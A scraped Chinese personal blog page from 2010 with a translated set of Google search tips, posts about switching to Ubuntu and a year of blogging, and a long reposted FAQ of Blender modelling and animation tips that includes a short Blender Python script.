  要查询雷蒙德·钱德勒什么时候去世,则输入“去世 雷蒙德·钱德勒”。


  要查询谁是德国总统,则输入“总统 德国”。


  这些问题的答案就会显示在搜索结果页面的顶部。你能 够获根据关联的网站得应对你的疑问的正确答案。点击相关的链接还能从这个资源里获悉更多的东西。


  技巧九:搜索 Google Directory


  Google在它的搜索数据库中将成千上万的网页索引化——这就能使得不会产生压 倒性数量的搜索结果。量确实已经够了,但有时你也许会更愿意得到一些高质量的结果。


  由于质量较数量更为重要,就可以绕过主要的 Google搜索引擎而使用Google Directory来代替。Google Directory是一个网页清单相对较小的数据库,它们都是通过一个人工编辑团队手动精心挑选的。Google Directory是有被注释和组织到相关的话题类目下的。你可以通过类目来浏览网页目录,或是搜索指定的项目。


  Google Directory是一个可用来搜索大量Google网页索引实用选择。Google Directory的结果比起你在更大的搜索索引范围中的搜索结果更为集中且高质,也能够帮助你在任何给定的类目下更好地认识什么是可用的信息。另外,如 果你喜欢,你也可以利用浏览类目来替代搜索。


  要进入Google Directory,点击Google主页上的“更多”链接,在接下来的页面中选择类别。当然,你也可以直接进入Google的Directory,只要 在浏览器中输入directory.google.com即可。


  技巧十:使用Google的其它专业搜索


   Google Directory不仅仅是Google所提供的除了主搜索引擎之外的唯一选择。根据你所做的搜索类型,你也可以通过使用其中Google更为专业的搜索 站点之一来得到更好的结果。它们包括:


  Froogle可以用来搜索那些有着最低价格的特定商品的在线购物网站。


   Google Answers所提供的服务是直接让你的搜索需求面向专业人员的小组,大多数都是用于当你有着更为复杂的问题,而无法通过简单的搜索来解答的时候。


   Google Apple Macintosh Search主要是在apple.com域名中以及和其它与苹果相关的站点进行搜索。


   Google Blog Search是用来搜索博客和博客文章的。


  Google Book Search可以搜索成千上万的小说和非小说类图书的全文。


  Google BSD UNIX Search可以搜索到大量专门为BSD版本的UNIX操作系统专业化的站点。


  Google Groups可以搜索到Google Groups档案的相关文章。


  Google Linux Search用来搜索大量与Linux相关的网站。


   Google Microsoft Search可以搜索主要是microsoft.com域名中的内容以及其它微软相关的站点。


   Google News可用来搜索大量有最新新闻和头条的新闻网站,也能够搜索历史的新闻资料,一直可以追溯到两个世纪之前。


   Google Scholar在一个有着学术杂志、文章、报纸、论文和书籍的数据库中进行搜索,也能够选择大学或研究书库。


   Google U.S. Government Search是用来搜索那些美国政府的网站——这是一个最好的用来搜索官方性政府举措、信息、报告等等的地方。


  Google University Search能在一个有着超过600所大学网站的数据库中进行搜索——能够用来查询课程安排、入学资料等等。


  原 文作者:Michael Miller


  原文标题:Ten Tips for Smarter Google Searches


   原文地址:http://www.informit.com/articles/article.asp?p=675274&rl=1


   编译人:雪影蓝风(IT168)


  译文地址:http://publish.it168.com/2006/1213/20061213001101.shtml





原创文章如转载,请注明:转载自月光博客 [ http://www.williamlong.info/ ]

本文链接地址:http://www.williamlong.info/archives/728.html

2010年7月31日星期六

这社会装的是Windows

用了一段时间的linux,有个体会,就是我们现在生活在一个装着windows的国度里,我们的社会系统结构与温到死的系统结构如出一辙.
在温到死里有罗嗦冗长繁琐复杂的管理机构----注册表系统,想办事就得注册登记去,但我们也知道注册表经常是黑客----有如当今之恶势力,西天路上之妖孽----下手的地方,其实它完全可以没有,如果说它是人身上的盲肠,盲肠肯定不干,因为后者最多只是个无业游民,而前者则是冗官,多余的衙门.
温到死里是一家独大,所有事它说了算,不像linux内核界面等等是分管的各有其职,各尽其份,各展其才,又密切相关.
在linux里你会发现程度都是短小精悍性的,不像温到死里,几乎各个身体庞大,因为它为适应生存环境,采用了繁冗的温到死数据结构.
还有个重要的区别,收费与免费.

这社会装的是Windows

用了一段时间的linux,有个体会,就是我们现在生活在一个装着windows的国度里,我们的社会系统结构与温到死的系统结构如出一辙.
在温到死里有罗嗦冗长繁琐复杂的管理机构----注册表系统,想办事就得注册登记去,但我们也知道注册表经常是黑客----有如当今之恶势力,西天路上之妖孽----下手的地方,其实它完全可以没有,如果说它是人身上的盲肠,盲肠肯定不干,因为后者最多只是个无业游民,而前者则是冗官,多余的衙门.
温到死里是一家独大,所有事它说了算,不像linux内核界面等等是分管的各有其职,各尽其份,各展其才,又密切相关.
在linux里你会发现程度都是短小精悍性的,不像温到死里,几乎各个身体庞大,因为它为适应生存环境,采用了繁冗的温到死数据结构.
还有个重要的区别,收费与免费.

2010年7月25日星期日

2010年7月23日星期五

ubuntu初体验

这两天刚装了个linux的系统——ubuntu——现在用的就是,第一感觉就是视觉效果很炫!非常像苹果的界面风格(似乎它俩同宗同族)。

有对界面很在意的朋友可以试下,安装程序可以去官网免费下载(甚至还可以申请免费——邮费都不用你掏——的光盘)。感兴趣自己去看看就知道了。
用windows也有一两年了,有点“腻”了,人总是想尝试点新东西的:),所以就安了个传说中的娱乐功能很是牛B的ubuntu系统。

还有就是想体验下linux,体验下上面的开源,虽然自己不会编程:)。
安了系统第一件是当然是配置了,下软件、装软件、个性化设置……不过对于软件它倒比较省事,可以直接在它的在线软件库上下载更新,

而且挺多的上面的资源。不过常用的QQ在这里反倒是“排起架子起来了”,对linux支持得不太好。
我的专业就是电脑图形制作(CG),所以现在其它的东西都还没有,但是装了两个图形处理软件:平面的gimp——类似windows下的photosop,

功能差不多,操作方式都非常相似;还有一个三维软件,开源的Blender,似乎是一个很有潜力的3D软件,“短小精悍”——程序不大,

但功能强大而特殊与3Dsmax、maya有像的地方,但区别也蛮大的,它也有windows版,有兴趣不防试试,挺不错的软件,我也是刚学。
呼~~~!其它……没了吧,暂时就这样了,接着看我的Blender教程去喽。
对了,发一张刚才在Blender里渲的一张试着玩的图吧,也给大家看看它的效果,渲染速度快,质量绝高。

ubuntu初体验

2010年7月21日星期三

在百度筑空间一年

这两天空间人气终于到一万了,呵呵……


记得去年暑假开的空间,前期有段时间还经常打理、更新,后面就淡下来了,这个人数也全靠了几篇“技术性”文章拉起来的。


有很多时候想写的,但常找不到合适的时间、合适的气氛和场合。在寝室很多人的时候根本干不了事。


一直想更新空间,写点自己的生活小事、趣事,希望以后可以。没想着让很多人看我的空间和没有水平的文章,只是觉得这是一个自己的地盘,就像我们农村人自家的后院,平常自己吃个小菜可以去摘几棵白菜、没事了也可以去待弄下小苗小叶什么的。就希望我的空间能是这样个地方。所以有些其实想说的话很少在这写。


今天是趁着装ubuntu系统的空闲上来更新的,也不是有多忙,可还真找不出时间。就像大家说的——“有网络的日子忙碌而空虚着”,应该大家都有这个体会吧。


前几天在回来的路上碰到一对母女,女孩在我走近的时候突然对我说“唉,同学我们是外地来的,想去哪哪哪,可是身上没有钱了,能不能帮个忙?”——以前也碰到过好几次,头几次给了,后来发现不太对,怎么这么多外地没钱坐车的,而且还都让我碰上了?往后对这种事就多了心眼。敷衍着、装听不懂或者说出来办事急,没带钱。


这次我照例实施我彩排过好几遍的戏,但这回真让我“失手”了,我万料不到这种情况啊,七毛钱也要,把我全部家当给要去了。本想你说外地人,我还是外地人呢,你会说没钱,我就不会?就装没带钱,在口袋里假装一掏,把所有“积蓄”到掏出来了给她看——七毛钱——我记得中午饿了买东西时找的零——就一边装着“同病相怜”的样子给也解说自己有多穷,其实本来我是打算有这几毛零的找找其它的加起来买瓶水喝的。等我走了回头一看,又一人哥们补盯上了。


还是在这条路上碰到过两个乞丐,一个是大清早趟在大马路上,走过时我都不忍心看,实在想给求助站打电话,可是在这么多人面前,我没那“勇气”,特别是在办公室里,虽然查到这电话号,也没下定决心打这个电话。


另一个是在一个小雨天碰见的,下着雨,路上走着匆匆回家的行人,她就披着块塑料膜,跪在路上,磕着头作着揖,我走过给了点零钱就径直走了,不忍多看。


不明白这个社会怎么会有这么大的差距,怎么我这么多的骗子,以致于现在是大家谁不信谁,仇富的大有人在。


晚了,该休息了。

在百度筑空间一年

这两天空间人气终于到一万了,呵呵……


记得去年暑假开的空间,前期有段时间还经常打理、更新,后面就淡下来了,这个人数也全靠了几篇“技术性”文章拉起来的。


有很多时候想写的,但常找不到合适的时间、合适的气氛和场合。在寝室很多人的时候根本干不了事。


一直想更新空间,写点自己的生活小事、趣事,希望以后可以。没想着让很多人看我的空间和没有水平的文章,只是觉得这是一个自己的地盘,就像我们农村人自家的后院,平常自己吃个小菜可以去摘几棵白菜、没事了也可以去待弄下小苗小叶什么的。就希望我的空间能是这样个地方。所以有些其实想说的话很少在这写。


今天是趁着装ubuntu系统的空闲上来更新的,也不是有多忙,可还真找不出时间。就像大家说的——“有网络的日子忙碌而空虚着”,应该大家都有这个体会吧。


前几天在回来的路上碰到一对母女,女孩在我走近的时候突然对我说“唉,同学我们是外地来的,想去哪哪哪,可是身上没有钱了,能不能帮个忙?”——以前也碰到过好几次,头几次给了,后来发现不太对,怎么这么多外地没钱坐车的,而且还都让我碰上了?往后对这种事就多了心眼。敷衍着、装听不懂或者说出来办事急,没带钱。


这次我照例实施我彩排过好几遍的戏,但这回真让我“失手”了,我万料不到这种情况啊,七毛钱也要,把我全部家当给要去了。本想你说外地人,我还是外地人呢,你会说没钱,我就不会?就装没带钱,在口袋里假装一掏,把所有“积蓄”到掏出来了给她看——七毛钱——我记得中午饿了买东西时找的零——就一边装着“同病相怜”的样子给也解说自己有多穷,其实本来我是打算有这几毛零的找找其它的加起来买瓶水喝的。等我走了回头一看,又一人哥们补盯上了。


还是在这条路上碰到过两个乞丐,一个是大清早趟在大马路上,走过时我都不忍心看,实在想给求助站打电话,可是在这么多人面前,我没那“勇气”,特别是在办公室里,虽然查到这电话号,也没下定决心打这个电话。


另一个是在一个小雨天碰见的,下着雨,路上走着匆匆回家的行人,她就披着块塑料膜,跪在路上,磕着头作着揖,我走过给了点零钱就径直走了,不忍多看。


不明白这个社会怎么会有这么大的差距,怎么我这么多的骗子,以致于现在是大家谁不信谁,仇富的大有人在。


晚了,该休息了。

2010年7月18日星期日

【转】(原创)Blender学习小问题总结(1)

1. 如何载入Script。
在XP系统中,安装完成Blender后提示默认安装Blender配置文件在C:\Users\默认用户\Application Data\Blender Foundation\Blender文件夹里,因此要将自定义的脚本文件放到其scripts目录下。

在Vista或者是Win 7下面,实际上没有上述文件夹,默认并且无法更改的实际配置文件夹地址是:C:\用户\默认用户\AppData\Roaming\Blender Foundation\Blender\.blender\scripts。

2. 如何运行脚本。

按一下shift+F12就可以看到弹出了窗口,把你自己写的脚本粘贴进去就可以了,然后点击右键,Excute Script即可。写一个简单的例子:

#Define wafer size x=6unit,y=4unit
#Define thickness as T=1um/1unit

import Blender
from Blender import *

localScene = Scene.GetCurrent()
tempMesh1 = Mesh.Primitives.Cube(1)
tempMesh2 = Mesh.Primitives.UVsphere(32,32,2)
#tempCube = makeCube(0,0,"myCube",tempMesh,localScene)

ob = Blender.Object.New("Mesh","Cube1")
ob.LocX=0
ob.LocY=0
ob.LocZ=0
ob.SizeX=2
ob.SizeY=2
ob.SizeZ=2
ob.LocX=0
ob.LocY=0
ob.LocZ=0
ob.link(tempMesh1)
localScene.link(ob)

ob = Blender.Object.Get('Cube1')
print  ob        # the object
print  ob.name    # object name
print 'location', ob.loc    # object location
print 'Z is: ', ob.loc[2]
print 'Z is: ', ob.LocZ

ob.LocZ += 1 # increment the Z position by 0.5
Blender.Redraw( -1 )    # redraw Blender's Interface

3. 如何切换显示物体的实体和框架。

只要按一下Z就可以在他们之间切换了。

4. 如何显示选择物体时候的坐标轴。

5. 下面显示出的是Blender的一些自带的基本object。

 

6. 如何能够联合(Joint)物体?又如何能够取消联合?

可以shift来选择多个物体,然后按快捷键Ctrl+J,这样就把几个物体联合起来了,这时候物体的中心被软件重新定义了;然后选择这个整体,点击tab键(进入Edit模式),然后按下p键,接着选择all loose parts,这样物体就又被分离了,采用这个方法,物体的中心都发生了变化,那么点击下图的按钮便可以恢复原来的中心点了,因为软件会重新计算中心点,当初的物体的中心点就是软件计算出来的。



 

7. 如何旋转物体。

按R就可以旋转物体了。R还可以有很多个参数项,可以 rx,表示按照x轴旋转;ry表示按照y轴旋转;rz表示按照z轴旋转。如果只选择了r就表示默认的旋转rxyz。更高级的是可以按rx 1,表示精确的旋转1度。

其实关于这个方法,很多快捷键都有此功能,比如g,也可以添加参数,比如gz,表示只在z轴移动;还有s,如sz,只在z轴方向缩放。

9. 如何让想看到的内容保持屏幕中心?

可以用鼠标点击想看到的东西,就把光标点到哪里,然后按键盘C,就可以把视角放在中心了。简单一点的方法,可以选择物体,然后Shift+S,然后选择Cursor-> to selection,这样红色的光标就在物体中心了。再按Shift+C,又可以回复到光标在世界的中心。

10. 如何能够修改输出动画的帧数?

可以在如下的图例中找到修改的界面。

 

11. 新版本V2.94中如何采用Subsurf的功能。

新版本中的这个功能不同于以前了,要这样:

In the editing panel, look for the drop-down menu that says "Add Modifier", then select "Subsurf".

12. 透视(Perspective)和正交(Orthographic)视角有什么区别?

我发现这个问题是在我模仿别人的教程的时候发现的,教程里面的图像总是在Top,Front,Side很平面,这样有利于建模,但是我的总是这样,后来向别人请教,他们说这是透视视图和正交视图的区别:看下面两个图,第一个是透视图,第二个是正交图

 

 

这样看来,正交图跟有利于做设计了,透视图更加偏重于实际。快捷键是小键盘的5进行二者的切换。

13. 如何删除Blender里面的material?

blender中不能够直接删除material,没有这个功能似乎显得很不够友好。从网上找了很多资料,它是这样工作的:当Material没有和任何的Object(OB)或者Mesh(ME)挂钩的时候,Material前面就会显示一个小圈圈,那么像这种情况下,重新启动自己的项目,这些Material就会自动删除掉了;如果确实想保存一些有用的material,可以在给这个Material加上一个Fake User,就是旁边的一个F的按钮,这样就表示这个Material不可删除了,这样很安全的保留了Material。

所以总结一下,就是想删除material,就一定把要让这个Material和任何物体挂钩;如果实在删不掉,你也可以把它的名字改成你喜欢的,嘿嘿。

14. 如何能把光标放在屏幕中心?


blender的这个功能困扰了我很久,因为习惯了Windows的操作习惯,总是用左键选择物体,所以导致光标移位,移位之后让我觉得失去了中心,所以查了很久的资料,终于发现Shift + C便可以把光标返回初始的中心;如果只按C的话,会把此时光标所在位置当成中心。

15. 如何能够在单面视图的时候,不选择后面的点或者线或者面?

blender的这个功能困扰了我很久,今天突然发现了解决办法,看下图:

这个按钮默认状态是不被选中的,而途中是被选中的,也就是说此时,我们如果在编辑模式下按了B,选择Verces的时候,就不会把后面的点选择了。如果不选择这个功能就会把后面的点选上,对于新手,还是选中的好。

16. 选择E(Extrude)的时候,Ragion,Edge和Vertices的区别?

Ragion可以拉出一个实心的,Edge拉出一个空心的,Vertices只能拉点。

17. 如何能够完美的闭合2个面或者2个点?

按0就可。这一点很像S,G,R的数字功能,准确定位。

有时候还可以在编辑模式中选择两条线,然后F,自动填充面;选择两个点,然后F,自动填充为线。

18. 如何能够显示windows的文件夹界面?

这也是个问题,每次选择文件的时候,那个Linux的界面很让人头疼,现在好了,只要在需要Load文件的小按钮上,点击的同时,按下Ctrl,这样就会显示出windows的界面了。

19. 如何载入BackgroundImage?

在建模的时候,这是一个很重要的功能。在3D View模式下,选择Background Image,然后载入图片即可,这个功能尤其好的一点就是,图片不会随着视角旋转,所以我们建模的时候可以从不同视角看这个图片。但是一定要记住,要现在一个窗口载入背景,然后split,不能够先有了2个窗口,但是在其中一个载入背景,这样的话,另外一个是看不到图片的。

20. 如何给立方体的多个面加不同色彩?

今天刚学到,Blender是支持Multiple Materials,在对象编辑模式下,按F9,看到下面的这个

只要给不同的面选择了不同的Material,然后执行最关键的一步:Assign,然后就可以看到五颜六色的面了,哈哈。

21. 如何载入BackgroundImage?

在建模的时候,这是一个很重要的功能。在3D View模式下,选择View->Background Image,然后载入图片即可,这个功能尤其好的一点就是,图片不会随着视角旋转,所以我们建模的时候可以从不同视角看这个图片。但是一定要记住,要现在 一个窗口载入背景,然后split,不能够先有了2个窗口,但是在其中一个载入背景,这样的话,另外一个是看不到图片的。

22.如何使用Armature(也可以称作骨骼)以及Weight Painting?
加入骨骼之后,物体就像是有了活动的关节。可是对于计算机而言,这个活动的关节导致的是关节所能够影响的顶点的移动。所以我们必须得给关节设定所能够影响的顶点,这就要用到关键的WeightPaintingle,有经验的人说,其实Weight Painting就是骨头之间相互抢顶点(Vertex)。从某种角度讲,Weight Painting也是一种很好的方法来选择Vertex Group,只要用画刷画色彩就可以选择顶点了。
注意:在使用Weight Painting的时候,首先物体与骨骼都要在Object Mode,然后一定要先选择物体,然后选择骨骼,接着按下Ctrl+P,然后在弹出菜单里面选择Make parent to->Armature->Don't create groups,一定要建立这种父子关系(后面选择的物体变为前面那个物体的父亲),将来移动每个骨骼(父亲)的时候,物体相应的经过Weight Painting的部位就会跟着骨骼移动了(解除父子关系用Alt+P)。
然后要让骨骼进入Pose Mode(看下图),然后选择物体,选择Weight Painting模式,对每一个骨骼进行Weight Painting.




好了,具体说如何操作。首先说说,在给物体加骨骼之前,一定要进入物体的Object Mode,然后空格,选择Armature.
如果想连续添加Armature的话,可以进入Armature的Edit Mode,然后Extrude,这样可以有很多的骨骼了。
这里有2个技巧:第一个,添加物体的骨骼时候,一定要把骨骼放在物体里面,而且最好第一步放置骨骼的时候就从物体的中心开始,而不是全局的中心。所以用到了快捷键Shift+S执行Snap的功能->Curser to Selection, 这样红色的小圆圈就到了物体的中心了(如何还原会全局中心呢?用Shift+C)。第二个技巧是添加完骨骼之后,有时候没埋到了物体里面,所以我们选择Armature,然后进入F9(物体性质的面板),然后选择X-Ray,这样骨骼就先露出来了。
添加完骨骼之后,关键的就是要把物体和骨骼进入object Mode,然后先选择物体,然后选择骨骼,最后Ctrl+P,出现如下图所示:这样就把物体和骨骼联系起来了。


然后选择骨骼,进入Pose Mode。
接着呢,要选择物体,然后进入Weight Painting 模式,然后选择一个关节(右键),然后涂抹就可以了。
操作完之后,在骨骼的Pose Mode下,选择单个的关节,然后G或者R,就可以看到物体随着骨骼动了。由前一根关节Extrude出的后面的关节似乎都是这跟关节的后代,移动这一根骨骼,后面的都会随着移动,可以从Outliner面板中看到他们这种关系。


 

23. 如何把Bezier Circle打开?

在建模的时候,这是一个很重要的功能。在Edit Mode,然后按下C,这样圆就被打开了。注意Bezier曲线有一个功能是3D,这样在编辑模式下才可以看起来像条虫子,然后可以3D编辑,不然只能在XY轴上编辑。

24. 如何连接两条线或者面?

首先选择两条线的端点,然后按下F,这样他们就自动连接了。

25. 如何做一个简单的动画?

首先要知道,做动画我们需要哪些窗口:3D veiw, Buttons Window, Outliner, Time Line 和 IPO curve Editor。所以我们打开一个新的界面的时候,至少要把界面划分成这些窗口,然后才可以做动画。
然后,我们就拿一个Cube作为例子:首先在Time Line中把时间轴调整到0s,然后点击cube,按下I,选择菜单中的Loc(这个意思就是说,我要制作一个位移的动画,让软件做好准备,用最终的距离除以时间来计算出移动的平均速度,然后自动显示。当然,如果你想做一个旋转的动画,就要点击Rot);接着再在2s的地方上点一下,然后回到3D View界面,按下I,再次选择Loc。这是就会发现在IPO Curve Editor中出现了软件自动计算的 位移 vs. 时间 的图表,可以看出软件计算的时候默认是匀速运动,当然这个曲线你也可以修改为加速运动。IPO曲线的修改和3D View里面的物体修改方法一样,用tab进入Edit Mode,然后菜单里面的Grab啊,S,添加Handle,Extrude等等都可以用。
然后在3D View界面中按下Alt+A,这样就会播放出动画了,简单吗?注:I表示添加关键帧。

26. IPO Cureve Edit如何用?

在编辑动画的时候,这是一个很有用的东西。有了它,我们可以对物体的所有的参数进行动画的调整。今天突然悟到一些东西,赶紧写下来以便将来用。首先看看界面:



添加关键帧的时候,一定要注意添加的是哪些参数。
注意:IPO Curve Editor有一点很奇怪,就是你添加关键帧的时候,一定要注意鼠标位于哪个窗口,如果鼠标位于Buttons Windows的Material里面,那么添加关键帧的时候会询问你关于色彩等的插值,如果位于3D View里面的话会询问关于位移等等的插值。理应是在上图中的红色箭头所指的窗口出现的地方就会出现相应的插值方法,但是似乎不是,还需要仔细考虑一下。


27. Outliner如何用?

上面讲了IPO Curve Editor的用法,下面这个窗口也是极其重要的。它可以总括性的统计出你的项目中有哪些对象,特别有利于精确的操作,我最近的这个项目就是需要极其精确的操作,所以我结合了Python和这个窗口编辑。

在这里你可以很简单的单击选择,用Shift再加上单击就可以选择多个对象,然后对他们进行布尔运算等等,当你进行完布尔运算之后,新的对象立刻就出现了,你可以ctrl再加上鼠标单击名字,就可以把名字改正过来,你都不用看3D View就可以修改对象的名字等等。很好用,但是记住,在使用布尔等等操作的时候,鼠标一定要在3D View窗口里面。

28. 两个色彩不同的物体执行了布尔运算(intersect)出现相交面上沾上了对方的色彩?

今天突然间想到了该如何解决,相交得到的物体如果出现了2中色彩,那么你就应该去F9查看对象的material(请看我这篇文章的20),然后在Object下面把那个色彩Delete就可以了,这样就得到你原来的色彩了。


 

29. 如何导出高分辨率的动画。

一般在Blender里面不直接生成动画文件,比如.mov电影,而是首先要生成图片,我们就先生成Targa序列图(或者叫TGA),只要在render选项里面选择了生成图片的文件夹路径,然后所有的图片都会自动起名字,而且保存在那个文件夹下面,然后点击Animate,如下图:

然后点击Animate,这样图片就自动生成了。
生成图片后,点击play就可以在Blender里面阅览这个动画,这可是高分辨率哦。可我们的目的是要生成文件。所以下一步我们再







既然此处选择了Do Sequency,所以我们还要打开Sequency Editor,然后在里面把前面生成的序列图片Targa格式的文件导入,可以用右键来进行多选,很方便,然后点击Anim就可以在原来的文件夹下面很快就可以生成一个动画.avi。


30.如何应用Modifier


今天突然间听说Blender2.5版本中不增设W这个布尔操作了,只有Boolean Modifier了。这么说的话,就一定要学着用Modifier了。Modifier一定要记住apply,如果不使用Apply的话,永远都是在内存里面,不会把图形真正变换出来,而且还会使速度很慢。

31.如何移动物体的绝对坐标


我们按下了G,S,R的时候,可以输入数字,但是这个数字是相对的,也就是说比如你按了S,那么s x 2,表示扩大物体2倍,当你再按一次的时候s x 2,物体就变成原来的4倍了。要想绝对的数字,只能按N,然后在里面输入数字。

32.关于NLA Editor 做动画
帖子由 deathblood ? 2006年 6月 11日 00:15 星期天
:o 翻译尔来

NLA(非线性动画)窗口
==========
- 只有带有ipos的物体骨架才会在此窗口中显示
- 片段都从上到下起作用.
- Channels specified in strips later in the list override channels specified in earlier strips.
- Channels in the local action on the armature override channels in the strips.

快捷键
====
- CTRL+SHIFT+F12 显示 NLA 窗口
- 鼠标移到一个骨架上按SHIFT+AKEY添加动作片段
- 选择一个脚本片段按N键可以更改设置
- 鼠标移到一个骨架上按C 移动骨架上的当前动作到动作片段列表的底部
- G/S 是移动缩放关键帧/片段
- X是删除关键帧/片段

动作片段设置(N键)
=====================
StripStart/StripEnd片段开始/片段结束: 在时间线内,动作片段的第一个到最后一个关键帧
ActionStart/ActionEnd动作开始/动作结束: 动作内关键帧的范围. 结尾可能少于反向播放动作的开端.
Blendin/Blendout混合进/混合出: 在此动作和前动作之间产生过渡变化的帧数.
Repeat重复:动作范围内的动作的重复次数.和"UsePath"不兼容.
Stride步幅:在动作的一个周期内角色移动的距离(Blender单位).在"UsePath"被使用时需要.
UsePath使用路径:如果一个骨架为一个路径或者曲线的子级并且拥有一个步幅值,此按钮将选择基于沿路径的物体位置的帧.对于创建走步比较有用.
Hold保持:如果开启这个,保持动作的最后一帧状态,除非被其它动作制约,否则骨架将回复到静止状态
Add叠加:指定此片段内的变化为叠加方式叠加到现有的动画数据,替代覆盖

33.关于雪花的效果
今天偶然从网上看到DB的一个雪花制作的作品,使用粒子效果做出来的,于是我也学着做,但是发现效果总是和他不同,如下图:



后来在网上经过咨询,才知道,例子效果一定要在材料的Halo面板里面调整,也就是说材料首先要弄成Halo才可以找到这个面板,然后在里面调整粒子的大小;然后调整完Halo之后,可以把材料的Halo效果关掉,然后依然可以得到作图清晰的粒子效果。




其实可以使用添加关键帧的两种方法:
1)I
2)在IPO Editor中,ctrl+左键(这种方法更简单)。使用这个方法的时候,首先要选择对于哪个Channel进行编辑,选择的时候可以用鼠标点击上图最右侧的Channel指示,可以按住Shift进行多选,当Channel变白了表示选中了;不要点Channel前面的小方块,,小方块是将来在已添加的通道中选择激活其中一个通道的。
a)在IPO Editor中按了K之后就可以看到每个关键点上都标注了黄线来指示;在3D View中按了K之后,就可以看到每个关键点上物体的变化。
b)在IPO Editor中按了Ctrl+R,然后选择Still,此时在IPO Editor中移动鼠标就可以看到物体也在随着鼠标动,但这个时候软件并没有记录下来轨迹,一定要按住ctrl,但不用点击鼠标,然后软件就可以记录下来轨迹了,最后一步点一下鼠标,这样轨迹曲线就显示出来了。这个方法的前提就是要选择了通道,可以多选。
c)在IPO Editor中,而且在曲线的编辑模式中,就是按了Tab键之后,按了E,就可以对曲线进行Cycle或者Cycle Extrapolation,就可以做周期运动了。
d)如果你想精准定位的话,就按键盘N.然后就可以输入绝对值来准确定位了,而且还可以精准的
定位帧,这样使用Python就简单多了;还有一点需要注意的就是只有对曲线按了Tab之后,也就说进入了编辑模式才能对N就行编辑。
这里面有个很有用的功能:Add Driver。它的用途在于当你已经设置好了一个物体的运动轨迹(比如LocX),那么可以设置另外一个物体add driver前面那个物体,这样后一个物体就可以完全跟着第一个物体走了。再举个例子,比如用缩放值控制另外一个物体的透明度。。。当然还有很多Trick可以使用,慢慢学习。



34.关于Shape Key的用法
今天在做模拟工艺流程的时候,我用到了SHape Key,为什么要用它呢?因为我模仿PR的流动过程的时候,想让它的形状发生变化,所以自然而然想到了它。一般在做动画任务表情的时候也可以用这个工具。可是我的问题也就发生了,加了Key1之后,我进入物体的Edit模式,然后进行了修改,然后进入Object模式的时候,拖动控制Key1的slider,然后发现图形变化了。后来经过仔细考虑,原来是因为basis是一个cube,而在Key1中我给cube加了几个点,所以将来一定要注意他们的点应该是一样的,不能随便添加。

35.Bezier Curve 的用法
今天学习了一下哦Curve的知识,Curve是一个很重要的建模工具。
a)在曲线上任意添加点,首先要进入Edit模式,然后选择两个点,接着按W,选择subdivide,这样就可以在两点之间添加点了。
b)延伸曲线。最主要的方法就是E,R,S,G,如果想按照某种模式延伸的话,可以选择一个点,然后ctrl+左键就可以延伸了。
c)如何镜面曲线:可以先Shift+D复制一个曲线,然后Ctrl+M,然后选择对称轴,就可以Mirror一条曲线了,这样做有些复杂,因为Blender没有给曲线设置Mirror Modifier。
d)曲线做好之后,如何Extrude?此时就不能够用E的方法了,只能进入Object的模式,然后F9面板里面,对曲线进行执行了。一般情况我们也不会去把曲线拉伸,一般是建立Bezier Circle,然后做一个图形去拉伸,但是如果你实在就要用Bezier Curve的话,只能在Object模式下,然后按了Alt+C,把曲线变为Mesh,然后接着编辑去吧。
e)曲线快要画好的时候,按下C,这样曲线就可以自动闭合,而且还填充了,就和Bezier Circle的效果一样,然后Object的模式,然后F9面板里面,对曲线进行 执行了。
d)有一点很有意思的方法,就是在建立好的曲线里面(而且是填充好的,如e所说),进入编辑模式,然后添加Bezier circle,这样就可以产生出空洞的效果。很有用。

36.Curve和Mesh有什么区别?
Curve似乎有点组成,而且每个点分别有自己的Handle可供编辑,但是Mesh就没有这种功能了,每个点只能R,G,E,S。由Curve变到Mesh需要按Alt+C。Note that this is a one-way operation: you cannot convert a mesh back into a curve.
Alt+C的功能还很强大:
ALT+C. Convert Menu. Depending on the active Object, a PopupMenu is displayed. This enables you to convert certain types of ObData. It only converts in one direction, everything ultimately degrades to a Mesh! The options are:
+ Font -> Curve
+ MetaBall -> Mesh The original MetaBall remains unchanged.
+ Curve -> Mesh
+ Surface -> Mesh

曲线的Handle的用法:
Handle types
Thus far with curves, whenever you move a handle around its partner will move too to make the curve flow smoothly through the control point. This is not the only way to do things however, so here is a list of the different things you can set them to do:

1. Linked rotation (Pink handles): Both handles always point in opposite directions. This leads to a smooth curve.
2. Free rotation (Black handles): The handles can be moved independantly of each other, you can form corners and sharp bends in the curve. Switch between these two modes using HKEY.
3. Automatic (Yellow handles): The handles are linked in rotation, and automatically rotate and scale to form the nicest (mathematically speaking) smooth curve through your points. Use SHIFT+HKEY to switch to this mode. If you try to move a handle, both will default back to Linked rotation.
4. Vector (Green handles): The handles act as vectors, with each pointing directly towards the next control point. This leads to completely straight edges, so you can construct polygons. The hotkey is VKEY. If you move a vector handle, it will default to Free rotation, but the other will stay as a vector.

* Note, each handle from a control point can be assigned a separate type independantly (excluding Auto). Just select only the handle vertex instead of the control vertex.

37.Blender的选择工具?

1. 方框选择
这个工具是通过画一个可变大小的矩形来选择四个顶点的。
(a) 按A键取消所有选中的对象
(b) 按B键激活方框选择工具(激活时会显示两条长长的互相垂直的直线)
现在按住鼠标左键并移动,就会出现一个选择方框,当放开鼠标时,在方框内的对象就会选中。当然这个时候要将选择过滤器切换到顶点模式,才能选中我们要选的四个顶点。请确保这个练习已经过关再开始下面的教学,可以多做几遍。
2. 圆形选择
(a) 按A键取消所有选中的对象
(b) 按二次B键激活圆选择工具,此时,鼠标附近会出现一个圆圈,可以用鼠标滚轮或是NUM+nNUM―或PgUpnPgDn来调节圆圈的大小。
2 单击鼠标左键选择对象,落在圆圈内的对象会被选中
2 单击鼠标中键或是按住中键移动,落在圆圈内的对象就会被取消。注意:用SHIFT+右键可以在当前选中的对象中追加。
BKEY+BKEY是圆圈选择工具。如果按下B键出现方框选择工具时, 再按一次B键, 同样会成为圆圈选择工具, 而按下鼠标右键或者ESC键时结束。
3. 自由形状选择工具
像其它的图像软件一样,Blender也有自由形状选择工具
(a) 按A键取消所有选中的顶点
(b) 按住CTRL+鼠标左键在要选择的顶点周围画圈(要确保把顶点圈进去),放开鼠标就选中了。
要想取消选中的顶点按CTRL+SHIFT+LMB
4. 一个一个选择
你可以一个一个地选择四个顶点
(a) 按A键取消所有选中的顶点
(b) 用右键选择一个顶点
(c) 按住SHIFT,用右键再选择其余三个顶点
5. 面选择
除了以上几种方法,还有一种方法可以选择这四个顶点。将选择过滤器打到面选择上,用右键选择立方体的顶面,再将选择过滤器打到顶点选择上,你会发现形成立方体顶面的四个顶点已经被选中了。

38.姜饼小人的领悟
